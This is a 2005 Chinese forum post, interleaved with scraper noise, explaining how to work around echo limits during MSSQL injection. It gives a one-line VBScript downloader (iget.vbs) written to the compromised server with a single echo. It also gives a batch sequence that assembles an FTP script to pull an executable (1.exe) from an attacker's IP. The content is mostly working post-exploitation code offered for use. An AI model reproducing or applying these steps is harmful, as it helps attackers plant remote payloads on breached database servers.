数学建模社区-数学中国
标题:
mssql注射时不可以多次echo的解决办法
[打印本页]
作者:
韩冰
时间:
2005-1-23 13:30
标题:
mssql注射时不可以多次echo的解决办法
<
>解决办法:
! B# B" D* `4 O: |* b2 }. X
1.iget.vbs一次写入
! ^# X% H% s5 Z
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
0 I1 K4 B/ z( ^1 f; P- O
4 A, e; O7 W7 a: }8 t. @
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
9 S$ {8 B: P6 E" X9 }
; M% [/ f7 b) _- Q
这样我们可以一次echo成功,echo版本:
: n3 h2 C+ J' i4 v: t) ` e
' \( a/ P8 B5 L. v9 ]# C4 h
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
8 d8 V R, `" q
% ~ @ u7 G; j f( F0 ^0 p
0 \( H; n8 E4 K# r
2.bat调用ftp脚本的写法(by envymask)
$ ~! |& q7 w3 j1 V4 _7 h! ^
8 m1 F3 E- A0 n) x2 R
echo ftp>1.vbs
; O! U7 Y- X6 V4 H; I
echo open ip>2.vbs
" Z Q$ Y3 v! X; E% f3 \
echo u>3.vbs
& T7 j; t3 t1 v2 I2 a! G
echo s>4.vbs
% g6 t' @& R |. G7 p
echo binary>5.vbs
) ^2 g: M8 w+ N- f5 v4 @- B% `
echo get 1.exe>6.vbs
/ K) h" m. K( o5 T- L( L' p
echo bay>7.vbs
8 }; d8 F/ ], u
. Y' t+ S' s, Y% G4 A4 k
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
9 o# g# H: G# i( H( q
</P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5